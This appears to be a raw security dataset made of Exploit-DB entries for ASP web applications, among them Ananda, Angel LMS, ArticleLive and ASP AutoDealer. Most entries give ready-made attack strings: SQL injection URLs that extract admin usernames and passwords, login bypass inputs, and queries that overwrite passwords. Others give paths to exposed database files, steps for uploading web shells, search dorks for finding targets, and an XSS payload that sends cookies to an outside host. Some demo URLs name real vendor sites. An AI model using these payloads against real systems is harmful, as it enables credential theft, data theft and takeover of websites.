deardaniel/secdata-raw huggingface dataset:
Exploit-DB #13902
Description: Ananda Image Gallery - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-17
Author: L0rd CrusAd3r

Exploit:
Exploit Title:Ananda Image Gallery SQL Vulnerable
Vendor url:http://www.softwebsnepal.com/
Version:n/a
Price:159$
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-06-17
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhra hackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

Unlimited photo upload:
This software helps you to upload unlimited photo to you website.
click here for Thumbnail

Auto Thumbnail and Auto photo aspect ratio creater:
This software automatically create thumbnail of uploaded photo and also
mange aspect ratio of the uploaded photo with the thumbnail photo so there
will be no photo tear and also you can manage the compression rate of
uploaded photo.

Admin Panel:
This software comes with admin panel form where you can upload photo, create
category and subcategory.


Categories and subcategories:
Admin can create unlimited category and subcategory, it is very easy to
create any number of hierarchical categories.
click here for Thumbnail


Profile Setup :
Admin can change profile form control panel, which will appear in contact us
page.
click here for Thumbnail

Password Setup :
Admin can change password form their control panel.
click here for Thumbnail

Easy Setup:
Setting up this software is very easy. Just unzip the files and upload it to
your server. then just set one file and you are ready to go.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://[site]/gallery/default.asp?id=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #3001
Description: Ananda Real Estate 3.4 - 'agent' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-24
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Ananda Real Estate <= 3.4 (agent) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.enthrallweb.us
# $$      :  179.40  USD

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//list.asp?agent=[SQL]

Example:

//list.asp?agent=-1%20union%20select%20username,0,0,0,0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20user%20where%20id%20like%201

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-24]
Exploit-DB #15661
Description: Ananda Real Estate 3.4 - 'list.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2010-12-02
Author: underground-stockholm.com

Exploit:
TITLE: Ananda Real Estate "list.asp" Multiple SQL Injection Vulnerabilities
PRODUCT: Ananda Real Estate 3.4
PRODUCT URL: http://www.softwebsnepal.com/website_design_realestate.htm
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/

BUGS:

http://[host]/[path]/list.asp?city=%27%29%29+union+insect&state=&country=&minprice=0&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=%27%29%29+union+insect&country=&minprice=0&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=%27%29%29+union+insect&minprice=0&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=%27%29%29+union+insect&maxprice=0&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=&maxprice=%27%29%29+union+insect&search=yes&bed=0&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=&maxprice=&search=yes&bed=%27%29%29+union+insect&bath=0&Submit=Search+Now!
http://[host]/[path]/list.asp?city=&state=&country=&minprice=&maxprice=&search=yes&bed=&bath=%27%29%29+union+insect&Submit=Search+Now!
Exploit-DB #34971
Description: Angel Learning Management System 7.3 - 'pdaview.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-11-05
Author: Wesley Kerfoot

Exploit:
source: https://www.securityfocus.com/bid/44689/info

Angel Learning Management System is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Angel Learning Management System 7.3 is vulnerable; other versions may also be affected. 

https://[Angel
Root]/portal/pdaview.asp?p_TS=85546&p_id=InTouchMail&pdaback="<script>document.location="http://www.example.com/pentest/pwnt.php?cookie="%2bdocument.cookie;</script>?p_TS=
85546
Exploit-DB #3390
Description: Angel Lms 7.1 - 'default.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-01
Author: Craig Heffner

Exploit:
#########################################################################
#
# Application:
#
#		Angel Learning Management Suite 7.1
#		http://www.angellearning.com
#
#########################################################################
#
# Description:
#
#		"ANGEL LMS is an inclusive suite of enterprise 
#		learning management tools that balances ease of 
#		use with powerful capabilities to deliver leading 
#		edge teaching and learning, impact learner success 
#		and measure effectiveness."
#
#		Basically, Angel is a CMS for education, providing
#		online forums, grading, email, chat, etc to faculty
#		and students. It is used as the primary Web interface
#		for several online schools and courses.
#
#########################################################################
#
# Vulnerability:
#
#		Angel 7.1 contains an SQL injection vulnerability in 
#		section/default.asp that grants an un-authenticated user 
#		access to all database tables and data. Examples include 
#		enumeration of tables, columns, user names, passwords, 
#		grades, and test questions/answers (you basically have 
#		access to everything).
#	
#########################################################################
#	
# Exploit Examples:
#
#	#Enumerate Faculty User Accounts#
#		http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20username%20from%20faculty_accounts--"
#		
#	#Enumerate All User Accounts#
#		http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20username%20from%20accounts--"
#
#	#Enumerate Account Passwords#
#		http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20password%20from%20accounts--"
#
#########################################################################
#
# Google Dork:
#		intext:"2006 angel learning, inc" -pdf
#
#########################################################################
#
# Credit:
#	Exploit discovered and coded by Craig Heffner
#	heffnercj [at] gmail.com
#	http://www.craigheffner.com
#
#########################################################################

# milw0rm.com [2007-03-01]
Exploit-DB #10576
Description: Angelo-emlak 1.0 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-21
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Forever RevengeHack.Com 

==============================================================================  

        [»] Angelo-emlak v1.0  Database Disclosure Vulnerability  

==============================================================================  

   

    [»] Script:             [  angelo-emlak v1.0   ]  

    [»] Language:           [ ASP ]  

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com (Mail Gonderenin aq... :D ]  

    [»] My Home:            [ RevengeHack.com , Ar-ge.Org]  

   

###########################################################################  

   

===[ Exploit And Dork  ]===  

   

    [»] http://[target].com/[path]/veribaze/angelo.mdb

 


   [»] ( c ) DesignAndCodeBy:Angelo
   





Author:  LionTurk <-  

Thanks You: eXceptioN,CodeInside,CorDoN,Hack3ra,Rex aL0ne,By_HKC

                  Ve By_Magic :D 

- Kaderimiz olan aþka deðil de aþkýyla kaderimizi deðiþtirene içelim!

                                 


###########################################################################
Exploit-DB #5503
Description: Angelo-Emlak 1.0 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2008-04-26
Author: U238

Exploit:
Angelo-Emlak v1.0 Multiple Remote SQL injection Vulnerable


Discovered By : U238

msn              :setuid.noexec0x1[+]hotmail[-].com


webPage     :http://noexec.blogspot.com



Script        : http://www.aspdepo.org/tr/incele.asp?id=587&Script=angelo-emlak-v1.0-(tr)


Script2       : http://rapidshare.de/files/39240819/angelo-emlak_v1.0.zip.html



not   : Siz0yyffyeniz biz kardesim inkar edenmÄ± var ya  :(   - Allah .belanÄ± versin ulan $iz0 .buda yÄ±lÄ±n sozu :D


_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_

Exploit:


http://localhost:2222/lab/angelo-emlak_v1.0/hpz/profil.asp?id=1+union+select+0,1,2,3,(user),(pass),1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin+where+id=1


----------

http://localhost:2222/lab/angelo-emlak_v1.0/hpz/prodetail.asp?id=1+union+select+user,0,2,3,4,5,6,7,8,9,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin

http://localhost:2222/lab/angelo-emlak_v1.0/hpz/prodetail.asp?id=1+union+select+pass,0,2,3,4,5,6,7,8,9,null,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+admin

---------

Admin Panel : 

http://localhost:2222/lab/angelo-emlak_v1.0/hpz/default.asp

X13 DB Editor Admin Panel : 

http://localhost:2222/lab/angelo-emlak_v1.0/hpz/admin


_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


This script is xss vulnerable ! ..

Exploit : 


target/angelo-emlak_v1.0/hpz/admin/Default.asp?sayfa=[XSS]

"><script>alert(document.cookie)</script>&olay=insert


----------------------------------------------------

My Friends : ka0x - Marco Almeida - The_BekiR - fahn - Teyfik Cevik - Nettoxic - Caborz - Sersak - ZeberuS

U238 | Web - Designer Solutions Developer

# milw0rm.com [2008-04-26]
Exploit-DB #28339
Description: Anychart 3.0 - 'Password' SQL Injection
Type: webapps
Platform: asp
Date: 2006-08-03
Author: sCORPINo

Exploit:
source: https://www.securityfocus.com/bid/19330/info

anychart is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful attack could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 3.0; earlier versions may also be vulnerable.

http://www.example.com/path/login.asp

Use this information:
Username:admin
Password:&#039;OR&#039;
Exploit-DB #29271
Description: AppIntellect SpotLight CRM - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-09
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/21521/info

AppIntellect SpotLight CRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

The following example demonstrates this issue:

login.asp UserName: ';update login set password='kro'--
login.asp UserName: ';update login set loginName='kro'--
Exploit-DB #14954
Description: aradblog - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-09-09
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub10-aradblog-multiple-remote-vulnerabilities/
'''


Abysssec Inc Public Advisory
 
 
  Title            :  aradBlog Multiple Remote Vulnerabilities
  Affected Version :  <= 1.2.8
  Discovery        :  www.abysssec.com
  Vendor	   :  http://www.arad-itc.com/
  Impact           :  Critial
  Download Links   :  http://aradblog.codeplex.com/
  Admin Page       :  http://Example.com/login.aspx

Remotely Exploitable
	Yes
Locally Exploitable
	No
	
	                 
  
 
Description :
===========================================================================================      

1- Remote Admin Access:

  In this latest of aradBlog you can access to Admin's dashboard with this virtual Path
  The value 'mainadmin' is a virtual path that defines in this DLL:  App_Web_eqzheiif.dll and  FastObjectFactory_app_web_eqzheiif class.
  
  Vulnerable code:
        ...

        public mainadmin_main_aspx()
         {
            this.AppRelativeVirtualPath = "~/mainadmin/Main.aspx";
            ...
         }  
        ...

PoC:

  http://Exapmle.com/mainadmin/Main.aspx
  


2- Arbitrary File Upload

   you can upload any malicious file using this path:

   http://Example.com/mainadmin/downloads.aspx

  if you upload a shell.aspx for example,it will be in this path:

  shell.aspx  --->  http://Example.com/downloads/uploads/2010_7_25_shell.aspx   
   Note that : the value 2010_7_25 is the exact date of server.

===========================================================================================
Exploit-DB #12526
Description: ArticleLive (Interspire Website Publisher) - SQL Injection
Type: webapps
Platform: asp
Date: 2010-05-07
Author: Ra3cH

Exploit:
*******************************************************************************
# Author   : ra3ch
# Product  : ArticleLive (Interspire Website Publisher)
# Price    : N/A
# Site     : www.dz4all.com/cc
# Dork     : "Website by Spokane Web Communications" 
# Risk     : High 
*
**Vulnerable script: news.asp?id= (SQL-injection)
*
---------------------------------------------------------
*
*
**http://server/[path]/news.asp?id=  [SQL Inject]
*
*
**news.asp?id=34 union select 1,2,3,4,5,6,7,8,9,10,11 from members
*
*
**Exploit: 
*
**http://server/news.asp?id=118%20union%20select%201,2,3,4,5,6,7,8,9,10,11%20from%20members

**Admin Login->
*
*
**http://server/[path]/Use your intelligence
*
*""""""""""""""""""""
** Greetz to :     ALLAH 
**         All Members of  http://www.DZ4All.cOm/Cc
**          And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & n2n & .....
Exploit-DB #10884
Description: ArticleLive 1.7.1.2 - 'blogs.php?Id' SQL Injection
Type: webapps
Platform: asp
Date: 2010-01-01
Author: BAYBORA

Exploit:
*******************************************************************************
# Author   : Baybora
# Product  : ArticleLive (Interspire Website Publisher)
# Version  : NX.1.7.1.2 (and possibly earlier versions)
# Download : http://www.interspire.com/
# Price    : $ 249
# Site     : www.1923turk.biz

 
Vulnerable script: blogs.php?Id = (SQL-injection)

---------------------------------------------------------


http://server/[path]//blogs.php?id=  [SQL Inject]


blogs.php?id=-768+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,144,15,16,17,18,19,20,21,22,23,24,25,26,27+from+ArticleLive_users+limit+01--


Admin Login->


http://server/[path]/admin/


"""""""""""""""""""""

Gamoscu - Manas58 - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO
Exploit-DB #18405
Description: ARYADAD - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2012-01-21
Author: Red Security TEAM

Exploit:
# 
# Title     : ARYADAD Multi Vulnerability
# Author    : Red Security TEAM
# Date      : 21/01/2012
# Vendor    : http://cms.aryadad.com/
# Tested On : Windows Server 2008 (IIS 7.5)
# Dork      : Powered by ARYADAD Corporation
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# 
# I         : Blind SQL Injection Vulnerability
# True      : http://server/Default.aspx?PageID=117' and 1-1 = '0
# False     : http://server/Default.aspx?PageID=117' and 2-1 = '0
#
# II        : File Upload Vulnerability
# 1. Go to  : /FA/fckeditor/editor/filemanager/connectors/test.html
# 2. Set Connector To ASP.Net and upload your file , You can see your uploaded files in FA/userfiles/file/
#
Exploit-DB #32888
Description: Asbru Web Content Management 6.5/6.6.9 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-04-02
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/34349/info

Asbru Web Content Management is prone to multiple SQL-injection vulnerabilities and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Asbru Web Content Management 6.5 and 6.6.9 are vulnerable; other versions may also be affected. 

http://www.example.com/page.asp?id=1         
http://www.example.com/page.asp?id=1 AND 1=2 
http://www.example.com/page.asp?id=1 AND 1=1 
http://www.example.com/webadmin/login.asp?url="><script>alert(document.cookie)</script>
Exploit-DB #11931
Description: Asp - comersus7F Shopping Cart Software Backup Dump
Type: webapps
Platform: asp
Date: 2010-03-29
Author: indoushka

Exploit:
========================================================================================
| # Title    : Asp - comersus7F Shopping Cart Software Backup Dump Vulnerability
| # Author   : indoushka   
| # Home     : www.iqs3cur1ty.com
| # Bug      : Database Disclosure
======================      Exploit By indoushka       =================================
 # Exploit  : 
 

     1- http://127.0.0.1/Comersus/database/comersus.mdb 

# Brief Description:

By default, comersus.mdb isn't password-protected, and contains the following sensitive information:
	- order information (buyer's address, phone, order status, tracking #, obs, etc)
	- settings (encryption password, admin email, company information, etc)
	- shipments
	- etc

Enough to cause damage for the business if any of that information is obtained. 
                    
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #7807
Description: ASP ActionCalendar 1.3 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-01-16
Author: SuB-ZeRo

Exploit:
* Founded By : SuB-ZeRo (WaLiD)

* E-mail : Fbh@hotmail.com

* Home : WwW.dz-security.Net

* GreeTZ : D-unit & X.CJP.x & www.dz-security.net & gaza

---------------------------------------------------------

vondor : www.warrenstudios.com

---------------------------------------------------------

Exploit Auth Bypass:



login: ' or ' 1=1

passw: ' or ' 1=1

----------------------------------------------------------

-[!]

Demo :

http://www.warrenstudios.com/actioncalendar/admin.asp

----------------------------------------------------------

# milw0rm.com [2009-01-16]
Exploit-DB #7360
Description: ASP AutoDealer - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-06
Author: ZoRLu

Exploit:
[~] ASPAutoDealer DD Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

exp for demo: ( DD )

http://demo.merlix.com/autodealer/auto.mdb

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

note: DD First submission /str0ke

# milw0rm.com [2008-12-06]
Exploit-DB #7356
Description: ASP AutoDealer - SQL Injection / File Disclosure
Type: webapps
Platform: asp
Date: 2008-12-05
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisia Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Merlix ASP AutoDealer
#download : null
#Demo     : http://demo.merlix.com/autodealer/



#Exploits :

--=[SQL INJECTION]=--
http://demo.merlix.com/autodealer/detail.asp?ID=-0+union+select+1,null,null,0,null,CDDoorID,null,null,null,null,CDDoorName,null,null,null,null,null,17+from+CDDOOR



--=[DATABASE DISCLOSURE]=--
http://demo.merlix.com/autodealer/auto.mdb


#Greetz For -|-Me!sTeR-|-

###########################################################################

# milw0rm.com [2008-12-05]
Exploit-DB #36138
Description: ASP Basit Haber Script 1.0 - 'id' SQL Injection
Type: webapps
Platform: asp
Date: 2011-09-18
Author: m3rciL3Ss

Exploit:
source: https://www.securityfocus.com/bid/49667/info

ASP Basit Haber Script is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

ASP Basit Haber Script 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/haber.asp?id=28+union+select+0,kullaniciadi,sifre,3,4,5+from+admin